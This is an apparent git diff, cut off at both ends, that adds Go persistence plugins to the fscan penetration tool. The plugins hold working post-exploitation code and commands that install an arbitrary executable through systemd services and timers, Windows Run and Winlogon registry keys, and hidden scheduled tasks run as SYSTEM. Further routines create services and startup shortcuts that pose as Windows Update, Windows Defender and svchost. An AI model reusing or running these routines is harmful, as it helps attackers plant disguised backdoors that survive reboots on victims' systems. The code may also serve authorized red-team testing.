StandardError=null
[Install]
WantedBy=default.target
`, execPath)
var created []string
for _, serviceName := range userServices {
servicePath := filepath.Join(userDir, serviceName)
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
created = append(created, serviceName)
// 启用用户服务
exec.Command("systemctl", "--user", "enable", serviceName).Run()
exec.Command("systemctl", "--user", "start", serviceName).Run()
}
}
return created, nil
}
// createTimerServices 创建定时器服务
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
systemDir := "/etc/systemd/system"
// 创建定时器服务文件
timerService := fmt.Sprintf(`[Unit]
Description=Scheduled Task Service
Wants=scheduled-task.timer
[Service]
Type=oneshot
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath)
// 创建定时器文件
timerConfig := `[Unit]
Description=Run Scheduled Task Every 10 Minutes
Requires=scheduled-task.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
AccuracySec=1s
[Install]
WantedBy=timers.target
`
// 写入服务文件
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
return err
}
// 写入定时器文件
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
return err
}
// 启用定时器
exec.Command("systemctl", "daemon-reload").Run()
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
return nil
}
// GetLocalData 获取系统服务持久化本地数据
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "systemdservice"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Systemd Service"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
// 检查systemd版本
if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
data["systemd_version"] = strings.Split(string(output), "\n")[0]
}
return data, nil
}
// ExtractData 提取数据
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Systemd Service",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *SystemdServicePlugin) GetInfo() string {
var info strings.Builder
info.WriteString("系统服务持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux (需要systemd)\n")
info.WriteString("功能: 通过systemd服务实现持久化\n")
info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
info.WriteString("权限要求: 需要root权限创建系统服务\n")
info.WriteString("自动启动: 开机自启动和崩溃重启\n")
return info.String()
}
// RegisterSystemdServicePlugin 注册系统服务持久化插件
func RegisterSystemdServicePlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"systemdservice", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewSystemdServicePlugin()
},
)
base.GlobalPluginRegistry.Register("systemdservice", factory)
}
// init 插件注册函数
func init() {
RegisterSystemdServicePlugin()
}

View File

@ -0,0 +1,257 @@
package winregistry
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinRegistryPlugin Windows注册表持久化插件 - 使用简化架构
type WinRegistryPlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinRegistryPlugin 创建Windows注册表持久化插件 - 简化版本
func NewWinRegistryPlugin() *WinRegistryPlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winregistry",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows注册表持久化插件通过注册表Run键等实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "registry"},
Protocols: []string{"local"},
}
plugin := &WinRegistryPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限修改注册表
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *WinRegistryPlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows注册表持久化 - 简化版本
func (p *WinRegistryPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows注册表持久化...")
registryKeys, err := p.createRegistryPersistence(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个注册表持久化项:", len(registryKeys)))
for i, key := range registryKeys {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, key))
}
result := &base.ScanResult{
Success: true,
Service: "WinRegistry",
Banner: fmt.Sprintf("Windows注册表持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "registry",
"entries_created": len(registryKeys),
"registry_methods": registryKeys,
},
}
return result, nil
}
func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var registryEntries []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
registryKeys := []struct {
hive string
key string
valueName string
description string
}{
{
hive: "HKEY_CURRENT_USER",
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt),
description: "Current User Run Key",
},
{
hive: "HKEY_LOCAL_MACHINE",
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
description: "Local Machine Run Key",
},
{
hive: "HKEY_CURRENT_USER",
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`,
valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt),
description: "Current User RunOnce Key",
},
{
hive: "HKEY_LOCAL_MACHINE",
key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`,
valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt),
description: "WOW64 Run Key",
},
{
hive: "HKEY_LOCAL_MACHINE",
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`,
valueName: "Shell",
description: "Winlogon Shell Override",
},
{
hive: "HKEY_CURRENT_USER",
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`,
valueName: "Load",
description: "Windows Load Key",
},
}
for _, regKey := range registryKeys {
var regCommand string
var value string
if regKey.valueName == "Shell" {
value = fmt.Sprintf("explorer.exe,%s", absPath)
} else if regKey.valueName == "Load" {
value = absPath
} else {
value = fmt.Sprintf(`"%s"`, absPath)
}
regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`,
regKey.hive, regKey.key, regKey.valueName, value)
registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand))
}
return registryEntries, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// GetLocalData 获取Windows注册表持久化本地数据
func (p *WinRegistryPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "winregistry"
data["platform"] = runtime.GOOS
data["pe_file"] = p.pePath
data["persistence_method"] = "Windows Registry"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *WinRegistryPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("Windows注册表持久化完成PE文件: %s", p.pePath),
Data: data,
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_method": "Windows Registry",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *WinRegistryPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows注册表持久化插件\n")
info.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath))
info.WriteString("支持平台: Windows\n")
info.WriteString("功能: 通过注册表Run键等实现持久化\n")
info.WriteString("方法: HKCU/HKLM Run键、RunOnce键、Winlogon Shell等\n")
info.WriteString("要求: PE文件(.exe/.dll),管理员权限\n")
return info.String()
}
// RegisterWinRegistryPlugin 注册Windows注册表持久化插件
func RegisterWinRegistryPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winregistry",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows注册表持久化插件通过注册表Run键等实现持久化",
Category: "local",
Tags: []string{"winregistry", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinRegistryPlugin()
},
)
base.GlobalPluginRegistry.Register("winregistry", factory)
}
// init 插件注册函数
func init() {
RegisterWinRegistryPlugin()
}

View File

@ -0,0 +1,266 @@
package winschtask
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinSchTaskPlugin Windows计划任务持久化插件 - 使用简化架构
type WinSchTaskPlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 - 简化版本
func NewWinSchTaskPlugin() *WinSchTaskPlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winschtask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows计划任务持久化插件通过schtasks创建定时任务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "schtask"},
Protocols: []string{"local"},
}
plugin := &WinSchTaskPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限创建系统任务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *WinSchTaskPlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows计划任务持久化 - 简化版本
func (p *WinSchTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows计划任务持久化...")
scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个计划任务持久化项:", len(scheduledTasks)))
for i, task := range scheduledTasks {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, task))
}
result := &base.ScanResult{
Success: true,
Service: "WinSchTask",
Banner: fmt.Sprintf("Windows计划任务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "scheduled_task",
"tasks_created": len(scheduledTasks),
"scheduled_tasks": scheduledTasks,
},
}
return result, nil
}
func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var scheduledTasks []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
tasks := []struct {
name string
schedule string
description string
modifier string
}{
{
name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt),
schedule: "DAILY",
modifier: "1",
description: "Daily Windows Update Check",
},
{
name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt),
schedule: "ONLOGON",
modifier: "",
description: "System Security Scan on Logon",
},
{
name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt),
schedule: "MINUTE",
modifier: "30",
description: "Network Monitor Every 30 Minutes",
},
{
name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt),
schedule: "ONSTART",
modifier: "",
description: "System Maintenance Task on Startup",
},
{
name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt),
schedule: "HOURLY",
modifier: "2",
description: "Background Service Every 2 Hours",
},
{
name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
schedule: "ONIDLE",
modifier: "5",
description: "Security Update When System Idle",
},
}
for _, task := range tasks {
var schTaskCmd string
if task.modifier != "" {
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`,
task.name, absPath, task.schedule, task.modifier)
} else {
schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`,
task.name, absPath, task.schedule)
}
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd))
}
xmlTemplate := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2023-01-01T00:00:00</Date>
<Author>Microsoft Corporation</Author>
<Description>Windows System Service</Description>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
<BootTrigger>
<Enabled>true</Enabled>
</BootTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>%s</Command>
</Exec>
</Actions>
</Task>`, absPath)
xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt)
xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName)
xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`,
xmlTemplate, xmlPath, xmlPath, xmlTaskName)
scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd))
return scheduledTasks, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// RegisterWinSchTaskPlugin 注册Windows计划任务持久化插件
func RegisterWinSchTaskPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winschtask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows计划任务持久化插件通过schtasks创建定时任务实现持久化",
Category: "local",
Tags: []string{"winschtask", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinSchTaskPlugin()
},
)
base.GlobalPluginRegistry.Register("winschtask", factory)
}
// init 插件注册函数
func init() {
RegisterWinSchTaskPlugin()
}

View File

@ -0,0 +1,231 @@
package winservice
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinServicePlugin Windows服务持久化插件 - 使用简化架构
type WinServicePlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本
func NewWinServicePlugin() *WinServicePlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows服务持久化插件通过创建系统服务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "service"},
Protocols: []string{"local"},
}
plugin := &WinServicePlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限创建系统服务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *WinServicePlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows服务持久化 - 简化版本
func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows服务持久化...")
services, err := p.createServicePersistence(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services)))
for i, service := range services {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, service))
}
result := &base.ScanResult{
Success: true,
Service: "WinService",
Banner: fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "service",
"services_created": len(services),
"service_methods": services,
},
}
return result, nil
}
func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var services []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
serviceConfigs := []struct {
name string
displayName string
description string
startType string
}{
{
name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
displayName: "Windows Defender Update Service",
description: "Manages Windows Defender signature updates and system security",
startType: "auto",
},
{
name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
displayName: "System Event Log Service",
description: "Manages system event logging and audit trail maintenance",
startType: "auto",
},
{
name: fmt.Sprintf("NetworkManager%s", baseNameNoExt),
displayName: "Network Configuration Manager",
description: "Handles network interface configuration and management",
startType: "demand",
},
{
name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
displayName: "Windows Update Assistant",
description: "Coordinates automatic Windows updates and patches",
startType: "auto",
},
{
name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
displayName: "System Maintenance Service",
description: "Performs routine system maintenance and optimization tasks",
startType: "manual",
},
}
for _, config := range serviceConfigs {
scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
config.name, absPath, config.displayName, config.startType)
scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)
services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
}
serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))
scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
serviceWrapperName, wrapperPath)
services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))
regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
serviceWrapperName, wrapperPath)
services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))
dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
if filepath.Ext(absPath) == ".dll" {
svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
dllServiceName)
services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))
regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
dllServiceName, absPath)
services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))
regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
dllServiceName)
services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
}
return services, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// RegisterWinServicePlugin 注册Windows服务持久化插件
func RegisterWinServicePlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows服务持久化插件通过创建系统服务实现持久化",
Category: "local",
Tags: []string{"winservice", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinServicePlugin()
},
)
base.GlobalPluginRegistry.Register("winservice", factory)
}
// init 插件注册函数
func init() {
RegisterWinServicePlugin()
}

View File

@ -0,0 +1,222 @@
package winstartup
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinStartupPlugin Windows启动文件夹持久化插件 - 使用简化架构
type WinStartupPlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 - 简化版本
func NewWinStartupPlugin() *WinStartupPlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winstartup",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows启动文件夹持久化插件通过启动文件夹和快捷方式实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "startup"},
Protocols: []string{"local"},
}
plugin := &WinStartupPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *WinStartupPlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows启动文件夹持久化 - 简化版本
func (p *WinStartupPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows启动文件夹持久化...")
startupMethods, err := p.createStartupPersistence(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个启动文件夹持久化方法:", len(startupMethods)))
for i, method := range startupMethods {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, method))
}
result := &base.ScanResult{
Success: true,
Service: "WinStartup",
Banner: fmt.Sprintf("Windows启动文件夹持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "startup",
"methods_created": len(startupMethods),
"startup_methods": startupMethods,
},
}
return result, nil
}
func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var startupMethods []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
startupLocations := []struct {
path string
description string
method string
}{
{
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
description: "Current User Startup Folder",
method: "shortcut",
},
{
path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`,
description: "All Users Startup Folder",
method: "shortcut",
},
{
path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
description: "Current User Startup Folder (Direct Copy)",
method: "copy",
},
{
path: `%TEMP%\WindowsUpdate`,
description: "Temp Directory with Startup Reference",
method: "temp_copy",
},
}
for _, location := range startupLocations {
switch location.method {
case "shortcut":
shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt)
shortcutPath := filepath.Join(location.path, shortcutName)
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`,
shortcutPath, absPath)
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd))
case "copy":
targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt)
targetPath := filepath.Join(location.path, targetName)
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd))
case "temp_copy":
tempDir := filepath.Join(location.path)
mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir)
targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt)
targetPath := filepath.Join(tempDir, targetName)
copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd))
shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt))
powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`,
shortcutPath, targetPath)
startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd))
}
}
batchScript := fmt.Sprintf(`@echo off
cd /d "%%~dp0"
start "" /b "%s"
exit`, absPath)
